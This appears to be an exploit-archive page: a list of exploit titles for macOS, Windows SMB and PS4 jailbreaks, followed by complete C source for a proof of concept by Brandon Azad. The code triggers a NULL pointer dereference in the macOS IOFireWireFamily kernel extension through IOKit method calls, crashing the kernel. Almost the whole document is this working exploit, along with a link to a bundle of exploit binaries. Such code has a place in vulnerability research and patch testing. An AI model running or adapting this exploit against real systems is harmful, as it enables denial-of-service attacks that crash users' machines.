7cb274b763
6 changes to exploits/shellcodes Microsoft Windows Windows 8.1/2012 R2 - SMB Denial of Service Microsoft Windows 8.1/2012 R2 - SMBv3 Null Pointer Dereference Denial of Service Apple macOS Sierra 10.12.1 - 'IOFireWireFamily' FireWire Port Denial of Service Apple OS X Yosemite - 'flow_divert-heap-overflow' Kernel Panic Apple macOS Sierra 10.12.3 - 'IOFireWireFamily-null-deref' FireWire Port Denial of Service Sony Playstation 4 (PS4) 4.05 - 'Jailbreak' WebKit / 'namedobj ' Kernel Loader Sony Playstation 4 (PS4) 4.05 - 'Jailbreak' WebKit / 'NamedObj ' Kernel Loader Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation Apple OS X 10.10.5 - 'rootsh' Local Privilege Escalation Sony Playstation 4 (PS4) 4.55 - 'Jailbreak' WebKit 5.01 / 'bpf' Kernel Loader 4.55 Sony Playstation 4 (PS4) 4.55 - 'Jailbreak' 'setAttributeNodeNS' WebKit 5.02 / 'bpf' Kernel Loader 4.55
51 lines
No EOL
1.2 KiB
C
51 lines
No EOL
1.2 KiB
C
/*
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* IOFireWireFamily-null-deref.c
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* Brandon Azad
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*
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* NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
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*
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* Download: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/44236.zip
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*/
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#include <IOKit/IOKitLib.h>
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int main() {
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int ret = 0;
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io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
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IOServiceMatching("IOFireWireLocalNode"));
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if (service == IO_OBJECT_NULL) {
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ret = 1;
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goto fail1;
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}
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io_connect_t connect;
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kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
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IOObjectRelease(service);
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if (kr != KERN_SUCCESS) {
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ret = 2;
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goto fail1;
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}
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// isochChannel_Create
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uint64_t args[3] = { 0, 0x100, 0x100 };
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uint64_t handle = 0;
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uint32_t output_count = 1;
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kr = IOConnectCallMethod(connect, 57,
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args, sizeof(args) / sizeof(*args), NULL, 0,
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&handle, &output_count, NULL, NULL);
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if (kr != KERN_SUCCESS) {
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ret = 3;
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goto fail2;
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}
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// setAsyncRef_IsochChannelForceStop
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kr = IOConnectCallMethod(connect, 90,
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&handle, 1, NULL, 0,
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NULL, NULL, NULL, NULL);
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if (kr != KERN_SUCCESS) {
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ret = 4;
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goto fail2;
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}
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fail2:
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IOServiceClose(connect);
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fail1:
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return ret;
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} |